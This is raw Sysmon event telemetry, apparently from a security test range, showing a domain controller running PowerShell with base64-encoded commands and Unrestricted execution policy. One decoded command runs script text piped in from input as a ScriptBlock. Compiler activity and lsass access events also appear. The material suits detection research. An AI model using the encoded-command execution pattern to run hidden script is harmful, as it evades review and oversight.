10341000x80000000000000003230Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.491{A5F018FF-2902-5F80-9E00-000000007F01}42004352C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|UNKNOWN(00007FFAA8DF8890) 154100x80000000000000003229Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.495{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABHAGUAdAAtAFAAYQBjAGsAYQBnAGUAUAByAG8AdgBpAGQAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000003228Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.272{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003227Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.272{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003226Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.272{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003225Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:27.256{A5F018FF-2903-5F80-A000-000000007F01}4716C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\esttzcof.dll2020-10-09 09:10:27.147 10341000x80000000000000003224Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2903-5F80-A100-000000007F01}5008C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003223Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003222Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003221Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003220Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003219Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003218Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003217Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003216Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003215Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003214Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2903-5F80-A100-000000007F01}5008C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003213Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.241{A5F018FF-2903-5F80-A000-000000007F01}47164728C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2903-5F80-A100-000000007F01}5008C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003212Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.252{A5F018FF-2903-5F80-A100-000000007F01}5008C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES24F8.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC84F9CCFDD93A4032A1391938C8895375.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2903-5F80-A000-000000007F01}4716C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\esttzcof.cmdline" 10341000x80000000000000003211Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2903-5F80-A000-000000007F01}4716C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003210Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003209Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003208Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003207Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003206Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 